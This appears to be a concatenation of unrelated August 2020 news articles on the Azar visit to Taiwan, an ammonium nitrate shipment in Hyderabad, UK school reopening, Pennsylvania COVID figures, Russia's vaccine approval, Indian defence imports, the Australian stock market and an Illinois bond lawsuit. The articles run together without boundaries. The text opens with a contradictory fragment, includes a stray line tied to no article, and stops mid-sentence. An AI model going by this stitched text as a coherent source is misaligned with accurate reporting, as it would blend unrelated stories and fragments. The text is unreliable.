DSBN has 29 high schools. It has 20. The Trump administration's Alex Azar meets Taiwanese president Tsai Ing-Wen in Taipei: EPA The Trump administrations increasingly belligerent China policy has taken another turn with Alex Azars visit to Taiwan the first such engagement by a top-level US official since the 1970s. At a meeting with president Tsai Ing-wen on Monday, the health and human services secretary heaped praise on the democratic island country, which China considers a breakaway province. Taiwans response to Covid-19 has been among the most successful in the world, Mr Azar told his host, and that is a tribute to the open, transparent, democratic nature of Taiwans society and culture. Driving home the point of the visit, the secretary said the visit represents an acknowledgement of the United States and Taiwans deep friendship and partnership across security, economics, health care, and democratic open transparent values. And for her part, Ms Tsai described the visit as a huge step forward in anti-pandemic collaborations between our countries. Chinas response to the visit has been unequivocal. In an unusual move just before the meeting, it sent fighter planes on an incursion into Taiwanese airspace, in range of the countrys anti-aircraft missiles; they were driven out by Taiwanese aircraft. Later that day, Chinese foreign ministry spokesperson Zhao Lijian made plain the Chinese Communist Partys feelings. I would like to stress again that the Taiwan issue is the most important and sensitive issue in China-US relations, he said. What the US has done seriously violated its commitment on the Taiwan issue. Had a productive meeting with @SecAzar & the @HHSGov delegation. Thank you to @POTUS and @SecPompeo for supporting the #TaiwanModel & our international participation. Working together, we can prove that democracy is the best system to overcome global challenges. pic.twitter.com/8qztU4ClOK Tsai Ing-wen (@iingwen) August 10, 2020 Washington broke off official diplomatic ties with Taipei in 1979, and since then has mostly observed cordial relations with the government in Beijing. And while Donald Trump himself repeatedly railed against China during his first presidential campaign, his complaints at that point revolved mainly around what he described as Chinas unfair trade practices and its undercutting of American manufacturers. Story continues However, many Trump administration officials have from the off displayed a far cooler attitude to China than some of their predecessors, and Mr Azars visit is just the latest part of a sharp acceleration in the USs hawkish turn. In the years since, this has developed into a broader agenda of grievances. Most recently, the administrations animosity has cohered around certain key issues: the coronavirus, which Mr Trump has accused China of lying about or even creating in a lab; the Chinese Communist Partys domestic enforcement policies, specifically its crackdown in Hong Kong and its treatment of the Uighur minority in Xinjiang province; and the security risks posed by Chinese technology companies, in particular Huawei, which the US has lobbied other Western countries to lock out of their high-tech infrastructure projects. These are all layered on top of longer-running disputes with China that have not developed into outright conflict, but which have put a strain on the relationship as Beijing puts pressure on American allies. High up the list is the South China Sea, which China has spent the last decade asserting its claim over despite multiple international legal decisions to the contrary. The Philippines, Vietnam, Indonesia and Japan, among others, have all been obliged to respond to Chinas installation of military bases in the area, including in their territorial waters, with the US sending aircraft carriers to assert its determination to resist the Chinese claim and China in turn continuing military drills and base construction. These encounters often escalate one way or another when general diplomatic tensions are high. And sure enough, in the run-up to Mr Azars visit, satellite images emerged showing Chinese amphibious armoured vehicles assembling near the South China Sea and specifically, at the Taiwan Strait. Aihik Sur By Express News Service HYDERABAD: As tension builds up over the transport of ammonium nitrate from Chennai to Hyderabad, the Telangana Industries Department decided to inspect Salvo Explosives and Chemicals the company that will receive the chemical that caused a massive explosion recently in Beirut, Lebanon on Tuesday. The consignment of 180 tonnes of ammonium nitrate, being transported in 10 trucks, will reach Salvo by August 12, A Shyam Sundar Reddy, the companys managing director told Express. Salvo had bought 690 tonnes of the compound in February in an auction held by the Chennai Customs. But it was only after concerns were raised regarding the safety of storing it at the Sattva Container Freight Station in Chennai that it was allowed to be transported to Hyderabad. Allaying fears, Reddy said, We are an explosives company, which caters to mining companies such as Singareni Collieries. We will use the ammonium nitrate for making explosives and there is no need to worry. As an explosives company, we handle around 1,500 tonnes of ammonium nitrate every month. The police visited the site on Monday morning and inquired if the company had the necessary permissions for receiving the consignment, he added. In 2015, this ammonium nitrate was imported by Amman Chemicals as fertiliser from Korea. However, Chennais Customs confiscated the it as the importer did not have the necessary licence and stored it at Sattva CFS since then Although the company has a good track record, a team will be sent on Tuesday to inspect its storage capacities, a senior government official told TNIE. This was after Industries Minister KT Rama Rao directed Industries Principal Secretary Jayesh Ranjan to conduct safety audits. Rama Rao, in a tweet, said, Directed Industry department secretary @jayesh_ranjan garu (sic) to get a thorough Industrial safety audit done for all factories and manufacturing units in Telangana within a week. Non-compliance of safety norms will be dealt with strictly. Governor Tamilisai Soundararajan also took cognisance of the issue and asked concerned officials to assess the situation. Britain's Prime Minister Boris Johnson (L) talks with head teacher Bernadette Matthews (R) as he visits St Joseph's Catholic Primary School in Upminster, East London, on Aug. 10, 2020. (Lucy Young/Pool/AFP via Getty Images) Disease Experts Support UK Schools Reopening in September Reopening schools in September is unlikely to cause a second wave of the CCP virus in the UK, because children rarely spread the disease, according to an infectious disease expert. Emphasizing that he was speaking in a personal capacity, Mark Woolhouse, head of infectious disease epidemiology at Edinburgh University told the Daily Mail on Saturday that research shows low virus transmission rates of the CCP (Chinese Communist Party) virus by children in schools. There are no known cases of transmission of the virus from children to teachers in schools, he said. Science progresses by people publishing research. So what we do as carefully as we possibly can is scan whats been published in the literature to see if there are any reported cases, in this case of a child transmitting to a teacher in the classroom, he said. Britains Prime Minister Boris Johnson joins a socially distanced lesson during a visit to Bovingdon Primary School in Bovingdon, Hemel Hempstead, Hertfordshire on June 19, 2020. (Steve Parsons/Pool/AFP via Getty Images) Despite many thousands of transmission events still we cant find a single one involving a child transmitting to a teacher in a classroom, said Woolhouse, a member of a scientific pandemic group advising the government. The evidence so far is that the most dangerous room in the school is not the classroom, its the staff room. So schools need to pay attention to that, and not take their eye off the right ball. Concerns about a second wave of the virus have come following a UK study warning of a possible large second wave if schools re-open. The study, led by University College London (UCL) and the London School of Hygiene and Tropical Medicine, was published in the journal The Lancet Child & Adolescent Health on Aug. 3. Based on their models, the researchers suggested that a second wave of the CCP virus, over twice the size of the first wave, could occur if children go back to schoolunless very high levels of testing and tracing are carried out. Woolhouse said, however, that this is not shown by a second study also published in The Lancet Child & Adolescent Health on the same day. Australian Study The research, which was carried out in Australia, where schools in some states have remained open, looked at 10 early learning centers and 15 schools in New South Wales. It shows that transmission in educational populations is minimal. Twenty-seven cases, some of whom were children and some staff, were reported as primary sources of infection across the 25 establishments studied. The infected children transmitted the virus at a rate of 0.3 percent, passing it to just two other children in school out of 649 close contacts. There was a 4.4 percent transmission rate among infected staff members, who passed it to seven out of 160 close contacts. Low Transmission The Australian study concluded that children and teachers did not contribute significantly to COVID-19 transmission via attendance in educational settings. Both studies come at a time of increasing debate on the issue of UK schools re-opening in September, which the government has made mandatory. Prime Minister Boris Johnson visited an East London school on Monday where he spoke to BBC News at One. Its not right that kids should spend more time out of school. Its much, much, better for their health, their mental wellbeing obviously their educational prospects if everyone comes back to school full time in Septemberits our moral duty as a country to make sure that happens, Johnson said. Some union leaders have criticized the government plans as inadequate. Mary Bousted, head of the National Education Union, told the Daily Mail that she had advised schools to disregard threatening noises from the government and not re-open school unless they felt it was safe. Referring to children going back to school in September, Geoff Barton of the Association of School and College Leaders told BBC News at One, That movement of young people through the community is likely to lead to increased virus infectionso whats the plan B? To reassure parents and staff working in schools, good leadership involves scenario planning he said. New Research The governments plan to re-open all schools in September will reportedly be backed by yet further research showing low incidence of CCP virus transmission in schools. The study carried out in 100 UK institutions for Public Health England and due later in the year, is one of the largest of its kind in the world, according to Russell Viner, president of the Royal College of Paediatrics and Child Health. This is some of the largest data you will find on schools anywhere, Viner, a member of SAGE, the government scientific advisory group for emergencies, told The Sunday Times. There is very little evidence that the virus is transmitted [in schools], he said. Viner said it was imperative that schools open and cited months of missed classes and lost friendships among the damages children have suffered during closures. Businesses that are not essential to the future of society, like cinemas and clubs, should close before schools if testing and tracing did not curtail any future spike in the CCP virus, he said. This echoes advice given to the UK government by the Childrens Commissioner, Anne Longfield, in July that if infections in the UK begin to rise again, compared to pubs and non-essential shops, schools should be first to open, last to close. Exactly how the return to school attendance in the UK will be carried out safely in areas like Greater Manchester, where there are still local lockdown measures in place, has also raised concerns. Mayor of Greater Manchester Andy Burnham told BBC News at One that the test and trace system is not yet adequate. Im saying to the government, look we need to work together to get this system right over August, he said. Source: Xinhua| 2020-08-12 02:17:03|Editor: huaxia Video Player Close LOS ANGELES, Aug. 11 (Xinhua) -- Five people were injured early Tuesday morning in a shooting at a party in the Harbor Gateway neighborhood of Los Angeles, authorities said. The incident was reported at about 00:30 a.m. local time. The victims were attending a large party at a warehouse when an unknown suspect drove up and fired randomly, a local media outlet, City News Service, reported, citing Officer A. Delatorre at the Los Angeles Police Department Operations Center. "All of the victims had stable vital signs while hospitalized and undergoing treatment for their wounds," Delatorre was quoted as saying by City News Service. The officer said that the shooting was believed gang-related. The owner of the warehouse told KTLA television station that he rented the space out for what he thought was a video shoot. Enditem UPDATE (8/12): 849 new Pa. coronavirus cases; Lehigh County hits 5K total cases; questions about Penn State liability waiver Coronavirus cases in Pennsylvania reached 120,000 on Tuesday as state officials praised a Lehigh Valley company for developing what Gov. Tom Wolf called the holy grail of COVID-19 testing. In its daily noontime report, the Pennsylvania Department of Health reported 828 new positives, pushing the states total case count to 120,281. Thirty-five more deaths were reported, bringing the Pa. COVID-19 death toll to 7,352. (Cant see the map? Click here.) Meanwhile, Bethlehem-based OraSure announced it is expanding its manufacturing operations, adding 177 jobs to speed production of two at-home coronavirus tests that could be rolled out by years end. And some school districts may need to reassess their reopening plans based on the states latest recommendations. Your Pennsylvania coronavirus updates for Aug. 11, 2020. (Cant see the chart? Click here.) Coronavirus in Pa. The 828 new cases of COVID-19 reported Tuesday are Pennsylvanias most in a day since Aug. 4, exactly one week earlier. Numbers typically drop over the weekend, and Tuesday reports often see a bump. Looking at the longer trend, the states seven-day average of new cases on Tuesday was 753, down from 804 a week ago. (Cant see the chart? Click here.) However, the rate of deaths from COVID-19 has climbed. As of Tuesday, an average of 17 people died a day over the last seven days, up from 12 a week ago. All but five of Pennsylvanias 67 counties have reported at least one death from COVID-19. More daily tests have been issued in the last week: 14,866 on average over the last seven days, up slightly from 14,624 at this time last week. And the weekly rate of positive tests has fallen from 5.5% a week ago to 5.1% on Tuesday. The World Health Organization recommends a positivity rate of 5% or lower. The health department estimates 77% of Pennsylvanias coronavirus patients have recovered so far. Residents are still required to wear masks when leaving home. MORE: Tracking COVID-19 Interactive charts on Pa. cases, hospitalizations, deaths and more Coronavirus in the Lehigh Valley The Lehigh Valley continued its slow approach to 9,000 total coronavirus cases. As of Tuesday, the two-county region had 8,936 total cases and 630 deaths, with 30 new cases and one death listed in the states daily report on Tuesday. That breaks down to: 4,992 total cases and 338 deaths in Lehigh County , with 17 new cases and one death in the last day. The county averaged 17 new cases a day over the last week, down from 20 a week ago. 3,944 total cases and 292 deaths in Northampton County , with 13 new cases in the last day. The county averaged nine new cases a day over the last week, down from 14 a week ago. (Cant see the chart? Click here.) Here is how adjacent Pennsylvania counties compare: Berks County has 5,431 total cases and 369 deaths, with 24 new cases and one death in the last day. Bucks County has 7,231 total cases and 582 deaths, with 21 new cases and no deaths in the last day. Carbon County has 372 total cases and 28 deaths, with no new cases or deaths for the third consecutive day. Monroe County has 1,642 total cases and 124 deaths, with six new cases and no deaths in the last day. Montgomery County has 10,187 total cases and 858 deaths, with 38 new cases and one death in the last day. Schuylkill County has 922 total cases and 51 deaths, with three new cases and no deaths in the last day. OraSure making game-changer COVID-19 tests Bethlehem-based OraSure Technologies Inc. is expanding its manufacturing division with plans to develop and roll out two over-the-counter coronavirus tests by years end. The addition of 177 jobs is funded in part through state grants and tax breaks. The antigen test will detect current infections while an antibody test will show a past one. The at-home antigen tests will be self-administered and provide results quickly, as opposed to current tests that require samples go to a laboratory with turnaround times of days or even weeks. August 11 COVID-19 Update Please join us for an announcement on expanded COVID-19 testing in Pennsylvania. Posted by Governor Tom Wolf on Tuesday, August 11, 2020 Tuesdays announcement in Harrisburg was met with enthusiasm from state leaders, including Gov. Wolf and Health Secretary Rachel Levine. Wolf has referred to accurate, quick tests as a holy grail. Levine said it would be a game-changer for the states contract-tracing efforts. Testing is one factor considered in important decisions like reopening schools and businesses. MORE: Bethlehem-based OraSure expanding to produce game-changer at-home COVID-19 tests School reopening plans: Back to the drawing board? On Monday, the Wolf administration unveiled new recommendations for schools reopening amid the pandemic. In some districts, the guidelines bolstered confidence in their plans. In others, there may be a scramble to reassess. Under the states plan, county infection rates are tied to modes of instruction. In areas with low levels of positive tests or new cases, in-person instruction may be OK. Higher levels, over time, may necessitate a hybrid model or online-only classes. The final decision will be up to individual districts, however. Locally, districts have already chosen a variety of formats for the new school year. Bethlehem and Easton, for example, have hybrid plans with students in school a few days a week (with some exceptions). Saucon Valley, meanwhile, plans to fully reopen with an online option. MORE: Brace yourself parents. Some Lehigh Valley districts could shift school plans again. (Cant see the chart? Click here.) Our journalism needs your support. Please subscribe today to lehighvalleylive.com. Steve Novak may be reached at snovak@lehighvalleylive.com. Jefferies Hong Kong Limited today announced that it has established a co-brand agreement with Regis Partners, Inc. for the cash equities business in the Philippines. Under the agreement, Jefferies will distribute equity research on companies in The Philippines on a co-branded basis to Jefferies' global client base. Additionally, Regis Partners will be the main platform to provide local equity broking services to Jefferies. Regis Partners Inc. (formerly Deutsche Regis Partners Inc.) is one of the largest equity brokerage houses in the Philippine Stock Exchange (PSE). Its country-based team offers research, sales, corporate access and trading, and execution services to global and local institutional clients. Regis prides itself on providing cutting edge research and advisory which challenges conventional wisdom and the consensus view. From its beginnings in 1999, Regis Partners has established itself as the dominant brokerage house in the PSE. It has received numerous awards for Best Equity House and Best Research House from institutions such as Fund Managers Association of the Philippines (FMAP) and from publications including Institutional Investor and Asiamoney. The partnership with Regis enhances Jefferies' growing equities franchise in Asia and is another step in Jefferies' long-term investment in the region. Over the last several years, Jefferies has significantly expanded its business in the region, adding approximately 200 Jefferies employees over the last two years to better serve its global institutional client base. Murray Wilson, President of Jefferies Asia, commented, "We are pleased to join forces with Regis Partners, Inc. in our commitment to continuously improve and expand Jefferies' longstanding equity research, sales and trading business with an emphasis on serving the needs of our global investor client base. Regis is consistently recognized as the best-in-class Philippine equities franchise." "We at Regis Partners, Inc are very excited to work with the fastest growing equities house in Asia today. Combining Jefferies' robust global platform and Regis' "on-the-ground" Philippine expertise should bode well for the foreign and domestic institutional clients we both serve," commented Noel O. Bautista, Chairman of Regis Partners, Inc. Jefferies has similar agreements with several firms throughout Asia, including Mandiri Sekuritas in Indonesia, KAF Securities in Malaysia, Mirae Asset Daewoo in South Korea, JB Securities in Sri Lanka, Fubon Securities in Taiwan, Kasikorn Securities in Thailand and Mirae Asset Vietnam in Vietnam. In total, Jefferies and its partner firms cover approximately 1,500 companies, providing clients with robust and comprehensive equity research coverage of regional companies. Jefferies covers over 3,000 companies globally. Jefferies Group LLC is the largest independent, global, full-service investment banking firm headquartered in the U.S. Focused on serving clients for nearly 60 years, Jefferies is a leader in providing insight, expertise and execution to investors, companies and governments. Our firm provides a full range of investment banking, advisory, sales and trading, research and wealth management services across all products in the Americas, Europe and Asia. Jefferies Group LLC is a wholly owned subsidiary of Jefferies Financial Group Inc. (NYSE: JEF), a diversified financial services company. View source version on businesswire.com: https://www.businesswire.com/news/home/20200810005811/en/ Contacts: For media inquiries please contact: Richard Khaleel, +1 212 284 2556, rkhaleel@jefferies.com Hermine Nzotto, the mother of conjoined baby girls who were successfully separated in an extraordinary surgery at Romes Bambino Gesu hospital in June, writes to Pope Francis, thanking him for baptizing her daughters a few days ago. By Robin Gomes Hermine Nzotto wrote a letter to Pope Francis who recently baptized her twin baby girls. In her letter, Hermine Nzotto, a native of the Central African Republic (CAR), recounts her life as a "peasant girl from the forest" in the town of Mbaiki, some 100 km from the capital Bangui, where her Siamese twins were born with fused skulls on June 29, 2018. Hope of Holy Door in CAR The twins were transferred to Bangui, where they were cared for in a hospital built with the help of Bambino Gesu Pediatric Hospital, a Vatican-owned hospital in Rome. The unit built in the Central African Republic was a project started after Pope Francis visited the war-torn country in November 2015. In Bangui, the hospital made arrangements and transferred the mother and her daughters to Rome on September 10, 2018, to see if they could be separated. At the end of the third surgery on June 5 that ran for 18-hours, involving some 30 specialists, the two girls, Ervina and Prefina, were successfully separated. They were baptized by Pope Francis recently at a private ceremony at Casa Santa Marta in the Vatican. During his 2015 visit to Bangui, the Pope had launched the Jubilee of Mercy by opening the Holy Door of the cathedral. That door assumes an added significance for the mother and her daughters, as Nzotto expresses in her letter to the Pope. Bridge for the needy Baptizing my miraculous Mary and Frances by Your Holiness assures me that God is truly close to the least, Nzotto writes to the Pope, using the baby girls' baptismal names. "If tomorrow my daughters are able to be among the luckiest children on earth who go to school and learn what I do not know and which I now desire to know, and one day to be able to read Bible verses to my daughters, then it is not a Holy Door that you opened in Bangui in 2015, which closed a year later. Rather, she continues, it is a bridge that you built for eternity, which needy people like me and people of goodwill like the team of doctors who are treating my separated inseparable ones can cross. Pope knows what the world needs In her letter, the mother of the two girls expresses her heartfelt gratitude to the doctors of the Bambino Gesu Hospital, Dr Mariella Enoc, the president of the hospital who arranged her transfer and the surgery and Dr Carlo Efisio Marras, the head of the Neurosurgery department, whose team "miraculously separated and resurrected" her daughters. In conclusion, Hermine Nzotto writes, Prayer is what can unite the people of the earth. Hence, she promises her prayers to Mary for Pope Francis saying, he who dared to defy mosquito bites and visit the CAR during the rebellion in 2015, knows better than her what to ask of the Virgin Mary for the world. More than 1,000 govt schools in Odisha will be transformed with modern facilities: CM Ganjam Will Be Role Model of COVID management, says CM Naveen Patnaik India oi-Oneindia Staff By Anuj Cariappa Bhubaneswar, Aug 11: Ganjam district will be a role model of COVID-19 management in the country, said Chief Minister Naveen Patnaik on Monday. Reviewing the COVID situation with Sarpanches of Ganjam district through video conferencing today, the Chief Minister expressed his satisfaction over the management of coronavirus pandemic in the district, which is one of the worst effected districts in Odisha. Naveen discussed about the various steps being taken to contain the spread of the virus and the functioning of the health infrastructure for in the district. Being a true leader, Naveen taking the lead from the front and taking feedback directly from Sarpanches to whom he has given power of Collector. The CM said that giving Sarpanches the powers of district Collector has proved be a game-changer in tackling the pandemic. Naveen interacted with all Sarpanches in Ganjam and appreciated their work for GP level COVID management. The Sarpanches, who are at the forefront in the war against Covid-19, shared their experiences in Covid management with the Chief Minister. Though, Ganjam has the maximum number of caseload in the State, it is witnessing a downward trend in the last few days, due to proactive and strategic steps being taken and responsibilities given to local representative including Sarpanches. While the number of new caseload has progressively decreasing to just more than 200, the number of recoveries has surpassed 10,000 mark (10500 till date). The multi-pronged strategy to contain the spread of the deadly virus with thrust on testing, tracking and treatment has been bearing fruits. For Breaking News and Instant Updates Allow Notifications Story first published: Tuesday, August 11, 2020, 8:27 [IST] The presidential candidate from California raised the roof in Denver with a promise to "fight for the soul of our country." The defence ministry will focus on significantly bringing down percentage of imported components in indigenously developed military platforms and weapons systems like light combat aircraft Tejas and Akash missiles, officials said on Monday. The Indian armed forces have been using a plethora of indigenously developed platforms and weapons which have various imported components and electronic systems. Defence Minister Rajnath Singh on Sunday announced that India will stop import of 101 military systems and weapons like transport aircraft, light combat helicopters, conventional submarines and cruise missiles by 2024 to promote India's domestic defence industry. The negative list featured many products which have either been developed by India or are in the development stage. "Besides aiming to produce key platforms and weapons in India, the government will also focus on bringing down the percentage of imported components in indigenously developed systems," said an official. On the inclusion of light combat aircraft (LCA Mark 1A) and a number of missile system which are manufactured in India in the negative list, the defence ministry said it was done to ensure that the armed forces do not go for importing similar systems. The Tejas is a light combat aircraft produced by state-run aerospace behemoth Hindustan Aeronautics Limited. The aircraft has some imported components. "It is also highlighted that for a product to be considered as an indigenous system, the percentage of indigenous content has to meet minimum laid down specifications," the defence ministry said in a clarification. "Hence, manufacturers are also required to ensure indigenisation and decrease import content to the permissible limits," it said. It further said: "It is clarified that the reason for specifying systems presently made in India with part-import content is to ban procurement of such equipment or items which carry similar qualitative requirements but are often contracted under differing nomenclatures." The decision to prune the import list of weapons systems under a year-wise schedule was first announced by Finance Minister Nirmala Sitharaman in May while rolling out reform measures for the defence manufacturing sector that included increasing the FDI limit from 49 per cent to 74 per cent under the automatic route. The defence ministry has set a goal of a turnover of USD 25 billion (Rs 1.75 lakh crore) in defence manufacturing in the next five years that included an export target of USD 5 billion (Rs 35,000 crore) worth of military hardware. Also read: Rajnath Singh announces ban on import of 101 defence items, check full-list here The Annual Manimahesh Yatra began on Tuesday in the Bharmour subdivision of Chamba district amid the Covid-19 pandemic, with rituals performed by a handful of pilgrims. The pilgrimage could be a low-key affair this year due to Covid-19 as only 24 pilgrims including priests, took the holy dip in the lake on the occasion of Janmashtmi, the birth of Lord Krishna. Bharmaour Additional District Magistrate (ADM) Prithi Paul Singh said that only a small number of pilgrims are allowed to visit the lake this year due to the pandemic. They include pilgrims from Bhadrwah and local devotees of Lord Shiva who perform the rituals of the yatra. Singh said the Manimahesh Trust had decided to allow only three people from one batch to undertake the yatra to the lake. He said that no medical camps or shops have been set up en route the lake, however, volunteers from the Mountaineering Institute and police personnel will remain on standby for rescue operations. The yatra will conclude on August 25, on the occasion of Radhaashtmi, the birthday of Lord Krishnas consort Radha. Every year, lakhs of pilgrims trek to the oval-shaped lake, located at a height of 13,500ft above the sea level, to catch a glimpse of Mount Kailash, believed to be the abode of Lord Shiva, and offer prayers. The uphill journey starts from Hadsar, a small hamlet, which is about 12km from Bharmour town that serves as a base camp of the annual pilgrimage. Lord Shiva is the presiding deity of this Yatra. A rock formation in the shape of a Shivling on Kailash is considered to be the manifestation of Lord Shiva. The snowfield at the base of the mountain is called Shivas Chaugan. Mount Kailash is considered invincible. No one has so far been able to scale this peak. SHARE THIS ARTICLE ON Russia has approved a coronavirus vaccine. Early research suggests the infection is mild in four out of five cases, however, it can trigger a disease called COVID-19. (Getty Images) Russia has become the first country in the world to approve a coronavirus vaccine after less than two months of human testing. President Vladimir Putin has announced the jab was officially registered with the Russian Health Ministry after it brought about stable immunity quite effectively. Putin added one of his two daughters received the vaccine and is doing well. Read more: Chronic fatigue emerging as coronavirus complication Russias deputy prime minister Tatyana Golikova has said vaccination will begin among medical staff in August, before being rolled out to the public as part of a mass campaign in early 2021. Some experts, however, are wary about the lack of data demonstrating the jabs efficacy. One warned the collateral damage of introducing a less than safe and effective vaccine could exacerbate the worlds current problems insurmountably. President Vladimir Putin announced the jab brought about 'stable' immunity 'quite effectively', despite clinical trials being cut short. (Getty Images) This morning, for the first time in the world, a vaccine against the new coronavirus was registered, Putin announced during a televised video conference call with government ministers on 11 August. I know it works quite effectively, forms strong immunity and, I repeat, it has passed all the needed checks. The president who called the approval a a very important step for the world added one of his daughters did the inoculation herself and developed just a mild fever. Read more: Harvard scientist calls for crappy coronavirus tests Russias health minister Mikhail Murashko has stressed the jabs registration is conditional and clinical trials into its effectiveness will continue while mass production is underway. Regulatory approval of the vaccine, manufactured by Moscows Gamaleya Institute, comes several months before the clinical trials into its safety and efficacy were due to complete. Russia is essentially conducting a population level experiment The development of a vaccine typically takes years, with different study phases having to be completed. Dr Adair David Richards from the University of Warwick previously argued methods that can significantly shorten these phases can be considered desirable or even necessary if it is ethical to do so. Story continues Speaking of Russias coronavirus vaccine candidates, Professor Danny Altmann from Imperial College London said there seems to be rather little detail. The bar is necessarily set very high for criteria that must be satisfied for approval after phase 3 clinical trials, he said. Read more: Reopening schools 'could trigger second peak' if test and trace isn't improved The collateral damage from [the] release of any vaccine that was less than safe and effective would exacerbate our current problems insurmountably. I hope these criteria have been followed. We are all in this together. Other experts have also expressed concern about a lack of information about the jab. It is unclear precisely what is actually happening with the Russian vaccine, said Dr Michael Head from the University of Southampton. It is vital any vaccine roll-out has the confidence of the general public, and that there is good communication of the level of effectiveness and any likely side effects. At this point in time, there is no data on the Russian-led vaccine for the global health community to scrutinise. Professor Keith Neal from the University of Nottingham agreed, adding: It is not possible to know if the Russian vaccine has been shown to be effective without submission of scientific papers for analysis and then there may be problems on data quality. One expert was slightly more optimistic, providing Russia delivers on its promise of safety, News of a potential [coronavirus] vaccine is to be welcomed but safety must be the priority, said Professor Duncan Matthews from Queen Mary University of London. The US Food and Drug Administration and the European Medicines Agency have fast-track approval procedures for emergency humanitarian use, and we need to see evidence Russia is adopting an equally prudent approach. Dr Ayfer Ali, a specialist in drug research at Warwick Business School, worries accelerated vaccine approvals may miss side effects that are rare but serious. Another issue is missing potential antibody-dependent enhancement, which is a phenomenon where a vaccine is not protective enough to prevent the disease but instead allows the virus to enter the body more easily and worsen the disease the vaccine is supposed to protect against, he said. When this happens at the population level, it can have devastating effects. That is one reason proper testing is paramount. Russia is essentially conducting a large population level experiment. Professor Eleanor Riley from the University of Edinburgh agreed, arguing the rapid approval of a coronavirus vaccine is not justified given the effective public health measures to sustain this [pandemic] in the short to medium term. MP John Finucane wears a mask outside a school in Northern Ireland. Face coverings are mandatory for most in enclosed spaces throughout the UK in a bid to stem the coronavirus outbreak. (Getty Images) Vaccine not a magic bullet A coronavirus vaccine has often been hailed a route back to normality after people all over the world have endured months of lockdown. Some have stressed, however, a jab should not be rushed, warning crises are not an excuse to lower standards. Kirill Dmitriev, head of Russias sovereign wealth fund, likened the search for a vaccine to the Soviet launch of the worlds first satellite in 1957. Russias jab is known to be based on adapted strains of the adenovirus, which usually causes the common cold. Vaccine hopes were previously raised after scientists from the University of Oxford produced a candidate that stimulated an immune response in an early-stage clinical trial. At the time, experts praised the exciting results, but stressed it is not the end of the road, far from it. Ill be amazed if we have a vaccine distributed in the next six months, Dr Head told Yahoo UK in July. At Easter I said [maybe a jab will be ready in] 12 months. I still think thats the earliest realistic estimate to have a vaccine available, manufactured and distributed. Professor James Naismith from the Rosalind Franklin Institute said at the time that a jab will not be available in the near future. Optimistically a vaccine campaign could be underway by the end of this year, he told Yahoo UK. More realistically sometime next year. Even if a vaccine is developed, it is unclear how long immunity may last. We cant think of a vaccine as our magic bullet out of this, Professor Michael Tildesley from the University of Warwick told Yahoo UK. The Australian sharemarket touched a two-month high on Tuesday as a risk-on rally extended into a second day, with investors taking a cue from the US to cycle into virus-battered sections of the index. The benchmark ASX 200 finished Tuesday's session 28.5 points, or 0.5 per cent, higher at 6138.7, its best close in three weeks. At one point the index was within touching distance of its highest level since the coronavirus outbreak in March, and just 14 per cent off the all-time record close reached in February. The ASX finished higher Tuesday. Credit:Louie Douvis Remarkably, Tuesday's session was also the first time since early July that the ASX 200 recorded back-to-back sessions of gains. Travel, property, and banking stocks were among the major beneficiaries as investors again turned to some of the more unloved corners of the market. TMS Capital portfolio manager Ben Clark said a similar theme had been playing out in the US, where tech stocks had been eschewed in favour of pandemic-weary financials in recent days. "We're seeing a bit of a rotation into higher-beta stocks, the ones that ride the ups and downs of the economy, the ones that need an economic tailwind to get them going," Mr Clark said. "The US market is selling off the stocks that did well during COVID - tech stocks like Amazon - and people are now piling into US banks." Westpac led the way for the local lenders, up 2.7 per cent to $17.78. NAB followed with a 2.4 per cent rise to $17.88, while ANZ added 1.8 per cent to $18.49 and Commonwealth Bank rose 1 per cent to $74.70. The property sector had the best day, on the whole, rising 2.1 per cent. Investors cheered Shopping Centres Australia as the firm reported grocery hoarding, shopping locally, and increased eating at home were helping its suburban properties weather the COVID-19 storm. The firm's share price lifted 4.1 per cent to $2.08. There were also gains of more than 4 per cent for sector stablemates Scentre, GPT Group, and Unibail-Rodamco-Westfield. Vicinity Centres rose 2.6 per cent and Stockland added 3.1 per cent. Consumer discretionary finished flat as a collective but travel firms had a strong session. Corporate Travel rose 4.4 per cent to $10.41, Webjet added 5.6 per cent to $3.42, and Flight Centre rose 6 per cent to $11.70. Retail and industrial conglomerate Wesfarmers earlier hit a record high of $47.44 before tailing off and finishing 0.1 per cent lower at $46.98. Dominos Pizza also set a new intra-day record of $77.95 and closed 1.3 per cent higher at $76.68. Supermarket Coles finished 0.6 per cent ahead at $18.97 and it, too, set a new all-time peak of $19.16. Fortescue Metals closed 0.6 per cent lower before reaching a new high of $18.92, a mark which elevated Twiggy Forrest's stake above $21 billion. The materials sector was flat at the close, though BHP and Rio Tinto each gained 0.9 per cent. Concrete fibre firm James Hardie rose 6.8 per cent to $32.22 after forecasting a potential increase in full-year profit. Tech was the worst-performing sector on Tuesday, mirroring the NASDAQ's overnight decline to shed a collective 2 per cent. According to the forecast of the Ministry of Economic Development, Trade and Agriculture, Ukraine will export 17.2 million tonnes of wheat in the 2020/2021 marketing year (MY). "I held a weekly meeting with specialized associations, where the forecast balance of the grain market was presented. We expect wheat exports to reach 17.2 million tonnes and carry-over to amount to 1.7 million tonnes in 2020/21 MY," Deputy Economy Minister Taras Vysotsky wrote on his Facebook page following the meeting on August 10. According to him, a meeting of the headquarters for the development of irrigation was also held, at which they agreed to submit an action plan for the development of irrigation within a month and complete the development of a bill on water users in order to submit a document for discussion in parliament in September. Since the beginning of the 2020/2021 marketing year (MY), which started on July 1, Ukraine exported 2.5 million tonnes of grain crops and legumes, which is 36.3% less than on the same date of the 2019/2020 MY. According to the informational and analytical portal of Ukraines agro-industrial complex, from July 1 to August 3, 2020, Ukraine exported 1.26 million tonnes of wheat (11.2% less than on the same date of the previous MY). ish SPRINGFIELD A lawsuit seeking to force the state to default on billions of dollars in outstanding bonds should move forward, a state appellate court said last week. A three-judge panel of the 4th District Illinois Court of Appeals ruled Thursday that a lower court acted prematurely in dismissing the suit by John Tillman, CEO of the conservative think tank Illinois Policy Institute. We repeat that we express no opinion on the merits of Tillmans claims, Justice Robert Steigmann wrote in an opinion also signed by Justices John Turner and Lisa Holder White. We merely conclude for the purpose of this proceeding that Tillman should be permitted to file the complaint. Tillman and Warlander Asset Management LP, a New York-based hedge fund that holds some of the outstanding bonds, filed the suit in July 2019 seeking to block the state from making further payments on the bonds. The case was filed under a state law that allows any citizen and taxpayer to file an action to block the disbursement of public funds by a state officer. But before such a case can go forward, the plaintiff first must ask a court for permission to file the suit and demonstrate there are sufficient grounds for the action. In this case, Tillman argued that a $10 billion bond issuance in 2003 used to shore up the states struggling pension funds and another $15.2 billion bond issuance in 2017 used to pay down a backlog of past-due bills violated the Illinois Constitutions requirement that bonds only be issued for a specific purpose. The 2017 bonds were part of a legislative deal that ended the states historic 